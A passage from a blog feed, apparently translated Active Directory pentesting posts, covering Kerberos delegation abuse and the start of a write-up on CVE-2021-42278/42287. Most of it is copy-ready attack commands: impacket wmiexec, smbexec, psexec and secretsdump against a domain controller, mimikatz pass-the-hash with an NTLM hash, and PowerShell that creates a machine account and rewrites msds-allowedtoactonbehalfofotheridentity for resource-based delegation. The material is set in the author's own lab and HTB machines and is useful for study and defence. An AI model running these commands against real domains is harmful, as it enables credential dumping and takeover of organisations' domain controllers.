class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set KRB5CCNAME=Administrator@cifs_WindowsServerAD.test.local@TEST.LOCAL.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python C:\Users\tony\AppData\Local\Programs\Python\Python313\Scripts\wmiexec.py test.local/administrator@WindowsServerAD.test.local -k -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export KRB5CCNAME=Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/smbexec.py -k -no-pass support.htb/administrator@dc.support.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec.py -k -no-pass support.htb/administrator@dc.support.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I did not manage to execute commands and get a shell at this step. The main reason is that the cifs access I currently have does not grant access to the wmi service.&lt;/p&gt;&#10;&lt;p&gt;The ST ticket we obtained grants administrator access to cifs only—nothing else. It is limited to that service.&lt;/p&gt;&#10;&lt;p&gt;From here, I won&amp;rsquo;t follow the author&amp;rsquo;s method. I struck through all those steps. Instead, I&amp;rsquo;ll use cifs directly to get a shell; it has already been imported above.&lt;/p&gt;&#10;&lt;p&gt;Dump the hashes of every user and host on the domain controller. This works because it uses smb or cifs privileges to read the domain database.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set KRB5CCNAME=Administrator@cifs_WindowsServerAD.test.local@TEST.LOCAL.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python secretsdump.py -no-pass -k WindowsServerAD.test.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0040.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There are many ways to take over the domain controller from here. PTH will do.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::pth /user:Administrator /domain:test.local /ntlm:2b2ddd54e1f78fab85e7c662f672f30e /run:cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec64.exe \\192.168.0.110 cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0041.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# WMI and SMB are also standard PTH shell-access methods; use whichever service is enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;win11 is not in the domain, so just specify the IP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0042.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Kali is not in the domain either, and specifying the IP works there too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0043.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;win10 is in the domain, so specifying the hostname is enough because it uses the domain controller&amp;rsquo;s dns.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0044.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, creating a golden ticket is no problem at all.&lt;/p&gt;&#10;&lt;p&gt;Here are the original author and reference blog links again; they also cover defensive measures.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/7217" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/7217&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.freebuf.com/articles/network/290860.html" target="_blank" rel="noopener"&#10; &gt;https://www.freebuf.com/articles/network/290860.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;h4 id="exploiting-resource-based-constrained-delegation"&gt;&lt;a href="#exploiting-resource-based-constrained-delegation" class="header-anchor"&gt;&lt;/a&gt;Exploiting Resource-Based Constrained Delegation&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# First create the machine account test:123456&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ExecutionPolicy Bypass -Scope Process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import-module .\Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString &amp;#34;123456&amp;#34; -AsPlainText -Force)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0045.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then configure delegation and look up the SID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import-module .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-NetComputer test -Properties objectsid&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S-1-5-21-3072663084-364016917-1341370565-9602&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0046.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Modify the msds-allowedtoactonbehalfofotheridentity value for FOREST&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList &amp;#34;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3072663084-364016917-1341370565-9602)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SDBytes = New-Object byte[] ($SD.BinaryLength)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SD.GetBinaryForm($SDBytes, 0)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer FOREST | Set-DomainObject -Set @{&amp;#39;msds-allowedtoactonbehalfofotheridentity&amp;#39;=$SDBytes} -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# FOREST is the domain controller hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$RawBytes = Get-DomainComputer DC -Properties &amp;#39;msds-allowedtoactonbehalfofotheridentity&amp;#39; | select -expand msds-allowedtoactonbehalfofotheridentity&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Descriptor.DiscretionaryAcl&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;BinaryLength : 36&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AceQualifier : AccessAllowed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IsCallback : False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OpaqueLength : 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AccessMask : 983551&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SecurityIdentifier : S-1-5-21-1677581083-3380853377-188903654-5601&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AceType : AccessAllowed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AceFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IsInherited : False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;InheritanceFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PropagationFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AuditFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;</description></item><item><title>Active Directory Pentesting: Privilege Escalation</title><link>http://xtpol.com/p/active-directory-privilege-escalation/</link><pubDate>Sat, 23 Nov 2024 11:08:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-privilege-escalation/</guid><description>&lt;h2 id="i-cve-2021-42278cve-2021-42287"&gt;&lt;a href="#i-cve-2021-42278cve-2021-42287" class="header-anchor"&gt;&lt;/a&gt;I. CVE-2021-42278/CVE-2021-42287&#10;&lt;/h2&gt;&lt;p&gt;References:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.fortinet.com/blog/threat-research/cve-2021-42278-cve-2021-42287-from-user-to-domain-admin-60-seconds" target="_blank" rel="noopener"&#10; &gt;https://www.fortinet.com/blog/threat-research/cve-2021-42278-cve-2021-42287-from-user-to-domain-admin-60-seconds&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1922502" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1922502&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;In this article, we&amp;rsquo;ll walk through how these vulnerabilities are exploited and show how FortiEDR can mitigate the attack.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Affected platforms:&lt;/strong&gt; Windows&#10;&lt;strong&gt;Affected users:&lt;/strong&gt; Any organization with an Active Directory environment&#10;&lt;strong&gt;Impact:&lt;/strong&gt; An unprivileged user can escalate privileges to domain administrator&#10;&lt;strong&gt;Severity:&lt;/strong&gt; Critical&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Affected scope&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CVE-2021-42287：&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 R2 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 R2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for x64-based Systems Service Pack 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for 32-bit Systems Service Pack 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2016 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2016&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 20H2 (Server Core Installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 2004 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2022 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2022&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2019 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2019&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CVE-2021-42278：&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 R2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for x64-based Systems Service Pack 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for 32-bit Systems Service Pack 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2016 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2016&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 20H2 (Server Core Installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 2004 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2022 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2019 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2022&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2019&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 R2 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="exploitation-and-telemetry"&gt;&lt;a href="#exploitation-and-telemetry" class="header-anchor"&gt;&lt;/a&gt;Exploitation and Telemetry&#10;&lt;/h4&gt;&lt;p&gt;At a high level, successfully exploiting these vulnerabilities takes the following steps:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Add a new computer account to the domain.&lt;/li&gt;&#10;&lt;li&gt;Rename the new computer account to match the name of an existing domain controller (without the trailing &amp;quot; &lt;strong&gt;$&lt;/strong&gt; &amp;ldquo;).&lt;/li&gt;&#10;&lt;li&gt;Request a Kerberos TGT using the updated computer account name.&lt;/li&gt;&#10;&lt;li&gt;Rename the new computer account again, restoring its original name (or giving it any other name).&lt;/li&gt;&#10;&lt;li&gt;Request a Kerberos service ticket with the &lt;a class="link" href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13" target="_blank" rel="noopener"&#10; &gt;S4U2self&lt;/a&gt; extension.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;The service ticket can then be used to access any service on the domain controller. The ST exploit shown below uses &lt;a class="link" href="https://docs.microsoft.com/en-us/windows/win32/fileio/microsoft-smb-protocol-and-cifs-protocol-overview" target="_blank" rel="noopener"&#10; &gt;CIFS&lt;/a&gt; to obtain a SYSTEM shell.&lt;/p&gt;&#10;&lt;h4 id="cve-2021-42278---invalid-computer-account-names"&gt;&lt;a href="#cve-2021-42278---invalid-computer-account-names" class="header-anchor"&gt;&lt;/a&gt;CVE-2021-42278 - Invalid Computer Account Names&#10;&lt;/h4&gt;&lt;p&gt;Computer account names in an Active Directory environment are supposed to always end with &amp;ldquo;$&amp;rdquo;, but that rule is not properly enforced. The computer account name is stored in the &amp;ldquo;sAMAccountName&amp;rdquo; attribute. You can inspect and edit this attribute 